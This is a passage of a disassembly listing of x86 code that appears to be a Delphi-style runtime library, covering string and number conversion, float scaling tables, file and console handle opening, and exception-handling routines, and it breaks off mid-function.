=============== S U B R O U T I N E ======================================= sub_401948 proc near ; CODE XREF: sub_407720+1Fp push ebx mov bl, [edx] cmp cl, bl jbe short loc_401951 mov ecx, ebx loc_401951: ; CODE XREF: sub_401948+5j mov [eax], cl inc edx inc eax and ecx, 0FFh xchg eax, edx call sub_401340 pop ebx retn sub_401948 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401964 proc near ; CODE XREF: sub_401780+Fp ; sub_406E6C+7Ep ... push edi mov edi, eax mov ch, cl mov eax, ecx shl eax, 10h mov ax, cx mov ecx, edx sar ecx, 2 js short loc_401981 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_401981: ; CODE XREF: sub_401964+12j pop edi retn sub_401964 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401984 proc near ; CODE XREF: CODE:00407E8Cp push ebx xor ebx, ebx imul edx, ds:dword_409008[ebx], 8088405h inc edx mov ds:dword_409008[ebx], edx mul edx mov eax, edx pop ebx retn sub_401984 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4019A0 proc near ; DATA XREF: sub_4019C8+35o push ebx push esi mov ebx, eax mov word ptr [ebx+4], 0D7B0h xor esi, esi mov eax, [ebx] call sub_4015A4 test al, al jnz short loc_4019C1 call sub_401314 mov esi, 1 loc_4019C1: ; CODE XREF: sub_4019A0+15j mov eax, esi pop esi pop ebx retn sub_4019A0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4019C8 proc near ; CODE XREF: sub_401AA8+5p push ebx push esi push edi mov esi, edx mov edi, ecx xor edx, edx mov ebx, eax mov dx, [eax+4] sub edx, 0D7B0h jz short loc_4019F4 cmp edx, 3 ja loc_401A8A call dword ptr [ebx+24h] test eax, eax jz short loc_4019F4 call sub_401304 loc_4019F4: ; CODE XREF: sub_4019C8+15j ; sub_4019C8+25j mov word ptr [ebx+4], 0D7B3h mov [ebx+8], esi mov dword ptr [ebx+24h], offset sub_4019A0 mov dword ptr [ebx+1Ch], offset sub_401564 cmp byte ptr [ebx+48h], 0 jz short loc_401A71 mov eax, 0C0000000h mov dl, ds:byte_40900C and edx, 70h shr edx, 2 mov edx, ds:dword_409070[edx] mov ecx, 2 sub edi, 3 jz short loc_401A53 mov ecx, 3 inc edi jz short loc_401A53 mov eax, 40000000h inc edi mov word ptr [ebx+4], 0D7B2h jz short loc_401A53 mov eax, 80000000h mov word ptr [ebx+4], 0D7B1h loc_401A53: ; CODE XREF: sub_4019C8+68j ; sub_4019C8+70j ... push 0 ; hTemplateFile push 80h ; dwFlagsAndAttributes push ecx ; dwCreationDisposition push 0 ; lpSecurityAttributes push edx ; dwShareMode push eax ; dwDesiredAccess lea eax, [ebx+48h] push eax ; lpFileName call CreateFileA loc_401A68: ; CODE XREF: sub_4019C8+C0j cmp eax, 0FFFFFFFFh jz short loc_401A91 mov [ebx], eax jmp short loc_401AA1 ; --------------------------------------------------------------------------- loc_401A71: ; CODE XREF: sub_4019C8+47j mov dword ptr [ebx+24h], offset sub_401564 cmp edi, 3 jz short loc_401A81 push 0FFFFFFF6h jmp short loc_401A83 ; --------------------------------------------------------------------------- loc_401A81: ; CODE XREF: sub_4019C8+B3j push 0FFFFFFF5h ; nStdHandle loc_401A83: ; CODE XREF: sub_4019C8+B7j call GetStdHandle jmp short loc_401A68 ; --------------------------------------------------------------------------- loc_401A8A: ; CODE XREF: sub_4019C8+1Aj mov eax, 66h jmp short loc_401A9C ; --------------------------------------------------------------------------- loc_401A91: ; CODE XREF: sub_4019C8+A3j mov word ptr [ebx+4], 0D7B0h call GetLastError loc_401A9C: ; CODE XREF: sub_4019C8+C7j call sub_401304 loc_401AA1: ; CODE XREF: sub_4019C8+A7j pop edi pop esi pop ebx retn sub_4019C8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401AA8 proc near ; CODE XREF: CODE:00407ECAp mov ecx, 3 call sub_4019C8 retn sub_401AA8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401AB4 proc near ; CODE XREF: sub_401B14+4p var_26 = byte ptr -26h var_24 = byte ptr -24h var_10 = dword ptr -10h push ebx push esi push edi push edx sub esp, 14h mov edi, ecx mov esi, eax cdq xor eax, edx sub eax, edx mov ecx, 0Ah xor ebx, ebx loc_401ACB: ; CODE XREF: sub_401AB4+24j xor edx, edx div ecx add edx, 30h mov [esp+ebx+24h+var_24], dl inc ebx test eax, eax jnz short loc_401ACB test esi, esi jge short loc_401AE3 mov [esp+ebx+24h+var_24], 2Dh inc ebx loc_401AE3: ; CODE XREF: sub_401AB4+28j mov [edi], bl inc edi mov ecx, [esp+24h+var_10] cmp ecx, 0FFh jle short loc_401AF7 mov ecx, 0FFh loc_401AF7: ; CODE XREF: sub_401AB4+3Cj sub ecx, ebx jle short loc_401B02 add [edi-1], cl mov al, 20h rep stosb loc_401B02: ; CODE XREF: sub_401AB4+45j ; sub_401AB4+56j mov al, [esp+ebx-1] mov [edi], al inc edi dec ebx jnz short loc_401B02 add esp, 18h pop edi pop esi pop ebx retn sub_401AB4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401B14 proc near ; CODE XREF: sub_407720+12p mov ecx, edx xor edx, edx call sub_401AB4 retn sub_401B14 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401B20 proc near ; CODE XREF: sub_4043F0+6p push ebx push esi push edi mov esi, eax push eax test eax, eax jz short loc_401B96 xor eax, eax xor ebx, ebx mov edi, 0CCCCCCCh loc_401B33: ; CODE XREF: sub_401B20+19j mov bl, [esi] inc esi cmp bl, 20h jz short loc_401B33 mov ch, 0 cmp bl, 2Dh jz short loc_401BA4 cmp bl, 2Bh jz short loc_401BA6 cmp bl, 24h jz short loc_401BAB cmp bl, 78h jz short loc_401BAB cmp bl, 58h jz short loc_401BAB cmp bl, 30h jnz short loc_401B6E mov bl, [esi] inc esi cmp bl, 78h jz short loc_401BAB cmp bl, 58h jz short loc_401BAB test bl, bl jz short loc_401B8C jmp short loc_401B72 ; --------------------------------------------------------------------------- loc_401B6E: ; CODE XREF: sub_401B20+39j ; sub_401B20+89j test bl, bl jz short loc_401B9F loc_401B72: ; CODE XREF: sub_401B20+4Cj ; sub_401B20+6Aj sub bl, 30h cmp bl, 9 ja short loc_401B9F cmp eax, edi ja short loc_401B9F lea eax, [eax+eax*4] add eax, eax add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_401B72 loc_401B8C: ; CODE XREF: sub_401B20+4Aj dec ch jz short loc_401B99 test eax, eax jge short loc_401BE2 jmp short loc_401B9F ; --------------------------------------------------------------------------- loc_401B96: ; CODE XREF: sub_401B20+8j ; sub_401B20+95j inc esi jmp short loc_401B9F ; --------------------------------------------------------------------------- loc_401B99: ; CODE XREF: sub_401B20+6Ej neg eax jle short loc_401BE2 js short loc_401BE2 loc_401B9F: ; CODE XREF: sub_401B20+50j ; sub_401B20+58j ... pop ebx sub esi, ebx jmp short loc_401BE5 ; --------------------------------------------------------------------------- loc_401BA4: ; CODE XREF: sub_401B20+20j inc ch loc_401BA6: ; CODE XREF: sub_401B20+25j mov bl, [esi] inc esi jmp short loc_401B6E ; --------------------------------------------------------------------------- loc_401BAB: ; CODE XREF: sub_401B20+2Aj ; sub_401B20+2Fj ... mov edi, 0FFFFFFFh mov bl, [esi] inc esi test bl, bl jz short loc_401B96 loc_401BB7: ; CODE XREF: sub_401B20+C0j cmp bl, 61h jb short loc_401BBF sub bl, 20h loc_401BBF: ; CODE XREF: sub_401B20+9Aj sub bl, 30h cmp bl, 9 jbe short loc_401BD2 sub bl, 11h cmp bl, 5 ja short loc_401B9F add bl, 0Ah loc_401BD2: ; CODE XREF: sub_401B20+A5j cmp eax, edi ja short loc_401B9F shl eax, 4 add eax, ebx mov bl, [esi] inc esi test bl, bl jnz short loc_401BB7 loc_401BE2: ; CODE XREF: sub_401B20+72j ; sub_401B20+7Bj ... pop ecx xor esi, esi loc_401BE5: ; CODE XREF: sub_401B20+82j mov [edx], esi pop edi pop esi pop ebx retn sub_401B20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401BEC proc near ; CODE XREF: sub_406350+A5p push esi push edi mov esi, eax mov edi, edx and ecx, 0FFh repe cmpsb pop edi pop esi retn sub_401BEC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_401C00 proc near ; CODE XREF: sub_404F3D+58p jmp sub_401C08 sub_401C00 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401C08 proc near ; CODE XREF: sub_401C00j push ebx xor ebx, ebx test eax, eax jl short loc_401C5C jz loc_401CAB cmp eax, 1400h jge loc_401CA1 mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte_401CB7[ebx+edx*2] fmulp st(1), st shr eax, 5 jz short loc_401CAB mov edx, eax and edx, 0Fh jz short loc_401C49 lea edx, [edx+edx*4] fld tbyte ptr byte_401DED[ebx+edx*2] fmulp st(1), st loc_401C49: ; CODE XREF: sub_401C08+33j shr eax, 4 jz short loc_401CAB lea eax, [eax+eax*4] fld tbyte_401E83[ebx+eax*2] fmulp st(1), st jmp short loc_401CAB ; --------------------------------------------------------------------------- loc_401C5C: ; CODE XREF: sub_401C08+5j neg eax cmp eax, 1400h jge short loc_401CA9 mov edx, eax and edx, 1Fh lea edx, [edx+edx*4] fld tbyte_401CB7[ebx+edx*2] fdivp st(1), st shr eax, 5 jz short loc_401CAB mov edx, eax and edx, 0Fh jz short loc_401C8E lea edx, [edx+edx*4] fld tbyte ptr byte_401DED[ebx+edx*2] fdivp st(1), st loc_401C8E: ; CODE XREF: sub_401C08+78j shr eax, 4 jz short loc_401CAB lea eax, [eax+eax*4] fld tbyte_401E83[ebx+eax*2] fdivp st(1), st jmp short loc_401CAB ; --------------------------------------------------------------------------- loc_401CA1: ; CODE XREF: sub_401C08+12j fld tbyte_401CAD[ebx] jmp short loc_401CAB ; --------------------------------------------------------------------------- loc_401CA9: ; CODE XREF: sub_401C08+5Bj fldz loc_401CAB: ; CODE XREF: sub_401C08+7j ; sub_401C08+2Cj ... pop ebx retn sub_401C08 endp ; --------------------------------------------------------------------------- tbyte_401CAD dt 1.1897314953572317651e4932 ; DATA XREF: sub_401C08:loc_401CA1r tbyte_401CB7 dt 1.0 ; DATA XREF: sub_401C08+20r ; sub_401C08+65r align 8 dd 4002A0h, 0 dd 5C80000h, 40h, 0 dd 4008FAh, 0 dd 0C9C4000h, 40h, 50000000h, 400FC3h, 0 dd 12F42400h, 40h, 96800000h, 401698h, 0 dd 19BEBC20h, 40h, 6B280000h, 401CEEh, 0 dd 209502F9h, 40h, 43B74000h, 4023BAh, 10000000h, 26E8D4A5h dd 40h, 84E72A00h, 402A91h, 0F4800000h, 2DB5E620h, 40h dd 5FA931A0h, 4030E3h, 0BF040000h, 348E1BC9h, 40h, 0A2BC2EC5h dd 4037B1h, 3A764000h, 3ADE0B6Bh, 0E8000040h, 0C7230489h dd 403E8Ah, 0C5AC6200h, 41AD78EBh, 7A800040h, 0D726B717h dd 4044D8h, 326EAC90h, 48878678h, 57B40040h, 68163F0Ah dd 404BA9h, 0CECCEDA1h, 4ED3C21Bh, 1484A040h, 59516140h dd 0C8405284h, 0B99019A5h, 55A56FA5h, 200F3A40h, 0CB8F27F4h dd 844058CEh, 78F89409h, 5C813F39h, 0B90BE540h, 8F07D736h dd 0DF405FA1h, 0CD04674Eh, 62C9F2C9h db 40h byte_401DED db 96h ; DATA XREF: sub_401C08+38r ; sub_401C08+7Dr dw 8122h dd 6F7C4045h, 9E4065FCh, 0A82B70B5h, 699DC5ADh, 0CFA6D540h dd 781F49FFh, 0A340D3C2h, 16C59B14h, 3DEFB3ABh, 0E98CE041h dd 0BA47C980h, 0AA41A893h, 2B7FE617h, 12B616A1h, 27556B42h dd 70F78D39h, 30427CE0h, 0FFE33CC9h, 0E78A5296h, 0F9DE8E42h dd 7EEBFB9Dh, 8C4351AAh, 195C6A2Fh, 0BBD226FCh, 0CCE37643h dd 842F29F2h, 0D2442681h, 0DB900Ah, 909FA427h, 0F8AA1744h dd 0C5E310AEh, 5944FAC4h, 7E9B09Ch, 64F28A9Ch, 0F7F3D445h dd 7A4AE1EBh db 95h, 0CFh, 45h tbyte_401E83 dt 9.9999999999999999996e479 ; DATA XREF: sub_401C08+49r ; sub_401C08+8Er db 0C7h, 91h, 0Eh dd 19A0AEA6h, 1746A3E3h, 8681750Ch, 48C97675h, 93A7E44Dh dd 0B8353B39h, 0E553EDB2h, 5DC53D5Dh, 929E8B3Bh, 0A1F0A65Ah dd 0A554C020h, 8B61378Ch, 25D88B5Ah, 0DBF9895Dh, 27F3F867h dd 5DC8A2BFh, 9B6E80DDh, 28A2097h, 25C46052h, 0D559F075h dd 3511626Eh, 0C37BCAAEh ; =============== S U B R O U T I N E ======================================= sub_401EE8 proc near ; CODE XREF: sub_4021A4+20p fninit wait fldcw ds:word_409010 retn sub_401EE8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401EF4 proc near ; CODE XREF: CODE:004057A7p push esi push edi mov edi, edx mov esi, [eax-2Ch] xor ecx, ecx mov cl, [esi] inc ecx rep movsb pop edi pop esi retn sub_401EF4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401F08 proc near ; DATA XREF: CODE:0040104Co ; CODE:00403A18o ... push ebx mov ebx, eax mov eax, ebx call sub_401F38 call sub_401200 mov edx, eax mov eax, ebx call sub_401F5C pop ebx retn sub_401F08 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401F24 proc near ; CODE XREF: sub_405A74+6p ; DATA XREF: CODE:00401050o ... push ebx mov ebx, eax mov eax, ebx call sub_401FB4 mov eax, ebx call sub_401218 pop ebx retn sub_401F24 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401F38 proc near ; CODE XREF: sub_401F08+5p add eax, 0FFFFFFD8h mov eax, [eax] retn sub_401F38 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401F40 proc near ; DATA XREF: CODE:00401054o ; CODE:00403A20o ... call sub_4020E0 test dl, dl jle short locret_401F4E call sub_4020C8 locret_401F4E: ; CODE XREF: sub_401F40+7j retn sub_401F40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_401F50 proc near ; CODE XREF: sub_4021A4+11Fj ; sub_402330+30p ... test eax, eax jz short locret_401F5B mov dl, 1 mov ecx, [eax] call dword ptr [ecx-4] locret_401F5B: ; CODE XREF: sub_401F50+2j retn sub_401F50 endp ; =============== S U B R O U T I N E ======================================= sub_401F5C proc near ; CODE XREF: sub_401F08+13p push ebx push esi push edi mov ebx, eax mov edi, edx stosd mov ecx, [ebx-28h] xor eax, eax push ecx shr ecx, 2 dec ecx rep stosd pop ecx and ecx, 3 rep stosb mov eax, edx mov edx, esp loc_401F7A: ; CODE XREF: sub_401F5C+2Fj mov ecx, [ebx-48h] test ecx, ecx jz short loc_401F82 push ecx loc_401F82: ; CODE XREF: sub_401F5C+23j mov ebx, [ebx-24h] test ebx, ebx jz short loc_401F8D mov ebx, [ebx] jmp short loc_401F7A ; --------------------------------------------------------------------------- loc_401F8D: ; CODE XREF: sub_401F5C+2Bj cmp esp, edx jz short loc_401FAE loc_401F91: ; CODE XREF: sub_401F5C+50j pop ebx mov ecx, [ebx] add ebx, 4 loc_401F97: ; CODE XREF: sub_401F5C+4Cj mov esi, [ebx+10h] test esi, esi jz short loc_401FA4 mov edi, [ebx+14h] mov [edi+eax], esi loc_401FA4: ; CODE XREF: sub_401F5C+40j add ebx, 1Ch dec ecx jnz short loc_401F97 cmp esp, edx jnz short loc_401F91 loc_401FAE: ; CODE XREF: sub_401F5C+33j pop edi pop esi pop ebx retn sub_401F5C endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401FB4 proc near ; CODE XREF: sub_401F24+5p push ebx push esi mov ebx, eax mov esi, eax loc_401FBA: ; CODE XREF: sub_401FB4+1Bj mov esi, [esi] mov edx, [esi-40h] mov esi, [esi-24h] test edx, edx jz short loc_401FCD call sub_402C3C mov eax, ebx loc_401FCD: ; CODE XREF: sub_401FB4+10j test esi, esi jnz short loc_401FBA pop esi pop ebx retn sub_401FB4 endp ; =============== S U B R O U T I N E ======================================= sub_401FD4 proc near ; CODE XREF: CODE:00405750p ; sub_405EC8+96p push ebx push esi mov esi, edx mov ebx, eax test ebx, ebx jz short loc_401FEB mov edx, esi mov eax, [ebx] call sub_402028 test al, al jnz short loc_401FF0 loc_401FEB: ; CODE XREF: sub_401FD4+8j xor eax, eax pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_401FF0: ; CODE XREF: sub_401FD4+15j mov al, 1 pop esi pop ebx retn sub_401FD4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_401FF8 proc near ; CODE XREF: sub_402050+13p push edi xchg eax, esi jmp short loc_401FFE ; --------------------------------------------------------------------------- loc_401FFC: ; CODE XREF: sub_401FF8+1Fj mov esi, [esi] loc_401FFE: ; CODE XREF: sub_401FF8+2j mov edi, [esi-30h] test edi, edi jz short loc_402012 movzx ecx, word ptr [edi] push ecx add edi, 2 repne scasw jz short loc_40201B pop ecx loc_402012: ; CODE XREF: sub_401FF8+Bj mov esi, [esi-24h] test esi, esi jnz short loc_401FFC pop edi retn ; --------------------------------------------------------------------------- loc_40201B: ; CODE XREF: sub_401FF8+17j pop eax add eax, eax sub eax, ecx mov esi, [edi+eax*2-4] pop edi retn sub_401FF8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402028 proc near ; CODE XREF: sub_401FD4+Ep jmp short loc_40202C ; --------------------------------------------------------------------------- loc_40202A: ; CODE XREF: sub_402028+Dj mov eax, [eax] loc_40202C: ; CODE XREF: sub_402028j cmp eax, edx jz short loc_402038 mov eax, [eax-24h] test eax, eax jnz short loc_40202A retn ; --------------------------------------------------------------------------- loc_402038: ; CODE XREF: sub_402028+6j mov al, 1 retn sub_402028 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40203C proc near ; DATA XREF: CODE:00401038o ; CODE:00403A04o ... mov eax, 8000FFFFh retn sub_40203C endp ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_402050 proc near ; DATA XREF: CODE:00401044o ; CODE:00403A10o ... push esi mov si, [edx] or si, si jz short loc_402070 cmp si, 0C000h jnb short loc_402070 push eax mov eax, [eax] call sub_401FF8 pop eax jz short loc_402070 mov ecx, esi pop esi jmp ecx ; --------------------------------------------------------------------------- loc_402070: ; CODE XREF: sub_402050+7j ; sub_402050+Ej ... pop esi mov ecx, [eax] jmp dword ptr [ecx-10h] sub_402050 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402078 proc near ; CODE XREF: sub_4058E8+Ap ; sub_405924+Fp ... arg_0 = byte ptr 4 push edx push ecx push ebx test dl, dl jl short loc_402082 call dword ptr [eax-0Ch] loc_402082: ; CODE XREF: sub_402078+5j xor edx, edx lea ecx, [esp+0Ch+arg_0] mov ebx, fs:[edx] mov [ecx], ebx mov [ecx+8], ebp mov dword ptr [ecx+4], offset sub_4020A1 mov [ecx+0Ch], eax mov fs:[edx], ecx pop ebx pop ecx pop edx retn sub_402078 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A1 proc near ; DATA XREF: sub_402078+18o jmp sub_4021A4 sub_4020A1 endp ; --------------------------------------------------------------------------- mov eax, [esp+2Ch] mov eax, [eax+0Ch] test eax, eax jz short loc_4020BF mov ecx, [eax] mov dl, 81h push eax call dword ptr [ecx-4] pop eax call sub_4020C8 loc_4020BF: ; CODE XREF: CODE:004020AFj call sub_402330 retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4020C8 proc near ; CODE XREF: sub_401F40+9p ; CODE:004020BAp mov edx, [eax] call dword ptr [edx-8] retn sub_4020C8 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4020D0 proc near ; CODE XREF: sub_4058E8+25p ; sub_405924+67p ... push ebx mov ebx, eax mov eax, ebx mov edx, [eax] call dword ptr [edx-1Ch] mov eax, ebx pop ebx retn sub_4020D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4020E0 proc near ; CODE XREF: sub_401F40p test dl, dl jg short loc_4020E5 retn ; --------------------------------------------------------------------------- loc_4020E5: ; CODE XREF: sub_4020E0+2j push eax push edx mov edx, [eax] call dword ptr [edx-18h] pop edx pop eax retn sub_4020E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4020F0 proc near ; CODE XREF: sub_402330+35p cmp ds:byte_409014, 1 jbe short locret_40210A push 0 push 0 push 0 push 0EEDFADFh call ds:dword_40A014 locret_40210A: ; CODE XREF: sub_4020F0+7j retn sub_4020F0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40210C proc near ; CODE XREF: sub_4021A4+4Dp cmp ds:byte_409014, 0 jz short locret_40212C push eax push eax push edx push esp push 2 push 0 push 0EEDFAE4h call ds:dword_40A014 add esp, 8 pop eax locret_40212C: ; CODE XREF: sub_40210C+7j retn sub_40210C endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_402148 loc_402130: ; CODE XREF: sub_402148+Bj push esp push 1 push 0 push 0EEDFAE0h call ds:dword_40A014 add esp, 4 pop eax retn ; END OF FUNCTION CHUNK FOR sub_402148 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402148 proc near ; CODE XREF: sub_4021A4+FDp ; FUNCTION CHUNK AT 00402130 SIZE 00000015 BYTES cmp ds:byte_409014, 1 jbe short locret_402158 push eax push ebx jmp loc_402130 ; --------------------------------------------------------------------------- locret_402158: ; CODE XREF: sub_402148+7j retn sub_402148 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40215C proc near ; CODE XREF: sub_40217C+Cp test ecx, ecx jz short locret_402179 mov eax, [ecx+1] cmp byte ptr [ecx], 0E9h jz short loc_402174 cmp byte ptr [ecx], 0EBh jnz short locret_402179 movsx eax, al inc ecx inc ecx jmp short loc_402177 ; --------------------------------------------------------------------------- loc_402174: ; CODE XREF: sub_40215C+Aj add ecx, 5 loc_402177: ; CODE XREF: sub_40215C+16j add ecx, eax locret_402179: ; CODE XREF: sub_40215C+2j ; sub_40215C+Fj retn sub_40215C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40217C proc near ; CODE XREF: sub_4021A4+151p cmp ds:byte_409014, 1 jbe short locret_4021A2 push eax push edx push ecx call sub_40215C push ecx push esp push 1 push 0 push 0EEDFAE1h call ds:dword_40A014 pop ecx pop ecx pop edx pop eax locret_4021A2: ; CODE XREF: sub_40217C+7j retn sub_40217C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_4021A4(struct _EXCEPTION_POINTERS ExceptionInfo,int,int,int,int,int,int,int,int) sub_4021A4 proc near ; CODE XREF: sub_4020A1j ExceptionInfo = _EXCEPTION_POINTERS ptr 4 arg_8 = dword ptr 0Ch arg_24 = dword ptr 28h ; FUNCTION CHUNK AT 004022D0 SIZE 00000036 BYTES mov eax, [esp+ExceptionInfo.ExceptionRecord] test dword ptr [eax+4], 6 jnz loc_4022C8 cmp dword ptr [eax], 0EEDFADEh mov edx, [eax+18h] mov ecx, [eax+14h] jz short loc_402231 cld call sub_401EE8 mov edx, ds:dword_40A010 test edx, edx jz loc_4022C8 call edx test eax, eax jz loc_4022C8 mov edx, [esp+arg_8] mov ecx, [esp+ExceptionInfo.ExceptionRecord] cmp dword ptr [ecx], 0EEFFACEh jz short loc_402228 call sub_40210C cmp ds:byte_409018, 0 jbe short loc_402228 cmp ds:byte_409014, 0 ja short loc_402228 lea ecx, [esp+ExceptionInfo] push eax push ecx ; ExceptionInfo call UnhandledExceptionFilter cmp eax, 0 pop eax jz loc_4022C8 mov edx, eax mov eax, [esp+ExceptionInfo.ExceptionRecord] mov ecx, [eax+0Ch] jmp short loc_402258 ; --------------------------------------------------------------------------- loc_402228: ; CODE XREF: sub_4021A4+4Bj ; sub_4021A4+59j ... mov edx, eax mov eax, [esp+ExceptionInfo.ExceptionRecord] mov ecx, [eax+0Ch] loc_402231: ; CODE XREF: sub_4021A4+1Dj cmp ds:byte_409018, 1 jbe short loc_402258 cmp ds:byte_409014, 0 ja short loc_402258 push eax lea eax, [esp+4+ExceptionInfo] push edx push ecx push eax ; ExceptionInfo call UnhandledExceptionFilter cmp eax, 0 pop ecx pop edx pop eax jz short loc_4022C8 loc_402258: ; CODE XREF: sub_4021A4+82j ; sub_4021A4+94j ... or dword ptr [eax+4], 2 push ebx xor ebx, ebx push esi push edi push ebp mov ebx, fs:[ebx] push ebx push eax push edx push ecx mov edx, [esp+20h+ExceptionInfo.ContextRecord] push 0 push eax push offset loc_40227C push edx call ds:dword_40A018 loc_40227C: ; DATA XREF: sub_4021A4+CCo mov edi, [esp+arg_24] call sub_4034D8 push dword ptr [eax+0] mov [eax+0], esp mov ebp, [edi+8] mov ebx, [edi+4] mov dword ptr [edi+4], offset loc_4022A8 add ebx, 5 call sub_402148 jmp ebx ; --------------------------------------------------------------------------- loc_4022A8: ; DATA XREF: sub_4021A4+F3o jmp loc_4022D0 ; --------------------------------------------------------------------------- call sub_4034D8 mov ecx, [eax+0] mov edx, [ecx] mov [eax+0], edx mov eax, [ecx+8] jmp sub_401F50 ; --------------------------------------------------------------------------- loc_4022C8: ; CODE XREF: sub_4021A4+Bj ; sub_4021A4+2Dj ... mov eax, 1 retn sub_4021A4 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_4021A4 loc_4022D0: ; CODE XREF: sub_4021A4:loc_4022A8j ; sub_4030F8:loc_4031FDj ... mov eax, [esp+ExceptionInfo.ExceptionRecord] mov edx, [esp+ExceptionInfo.ContextRecord] test dword ptr [eax+4], 6 jz short loc_402300 mov ecx, [edx+4] mov dword ptr [edx+4], offset loc_402300 push ebx push esi push edi push ebp mov ebp, [edx+8] add ecx, 5 call sub_40217C call ecx pop ebp pop edi pop esi pop ebx loc_402300: ; CODE XREF: sub_4021A4+13Bj ; DATA XREF: sub_4021A4+140o mov eax, 1 retn ; END OF FUNCTION CHUNK FOR sub_4021A4 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402308 proc near ; CODE XREF: sub_4043CC+19p ; sub_405B20+4Bj ... or eax, eax jnz short loc_402316 mov eax, 0D8h call sub_4025BC ; --------------------------------------------------------------------------- loc_402316: ; CODE XREF: sub_402308+2j pop edx push esp push ebp push edi push esi push ebx push eax push edx push esp push 7 push 1 push 0EEDFADEh push edx jmp ds:dword_40A014 sub_402308 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_402330 proc near ; CODE XREF: CODE:loc_4020BFp arg_2C = dword ptr 30h mov eax, [esp+arg_2C] mov dword ptr [eax+4], offset loc_40237B call sub_4034D8 mov edx, [eax+0] mov ecx, [edx] mov [eax+0], ecx mov eax, [edx+0Ch] and dword ptr [eax+4], 0FFFFFFFDh cmp dword ptr [eax], 0EEDFADEh jz short loc_40236A mov eax, [edx+8] call sub_401F50 call sub_4020F0 loc_40236A: ; CODE XREF: sub_402330+2Bj xor eax, eax add esp, 14h mov edx, fs:[eax] pop ecx mov edx, [edx] mov [ecx], edx pop ebp pop edi pop esi pop ebx loc_40237B: ; DATA XREF: sub_402330+4o mov eax, 1 retn sub_402330 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_402384 proc near ; CODE XREF: sub_4024E0:loc_40252Ep ; DATA XREF: DATA:off_409038o push ebx push esi push edi push ebp mov edi, offset dword_40A5AC mov eax, [edi+8] test eax, eax jz short loc_4023B2 mov ebx, [edi+0Ch] mov esi, [eax+4] test ebx, ebx jle short loc_4023B2 loc_40239E: ; CODE XREF: sub_402384+2Cj dec ebx mov [edi+0Ch], ebx mov eax, [esi+ebx*8+4] test eax, eax jz short loc_4023AE mov ebp, eax call ebp loc_4023AE: ; CODE XREF: sub_402384+24j test ebx, ebx jg short loc_40239E loc_4023B2: ; CODE XREF: sub_402384+Ej ; sub_402384+18j pop ebp pop edi pop esi pop ebx retn sub_402384 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_4023B8 proc near ; CODE XREF: sub_4023B8+43p ; sub_40240C+12p ; DATA XREF: ... push ebx push esi push edi push ebp mov edi, ecx mov ebp, edx mov esi, eax mov eax, offset sub_4023B8 cmp eax, ds:off_409034 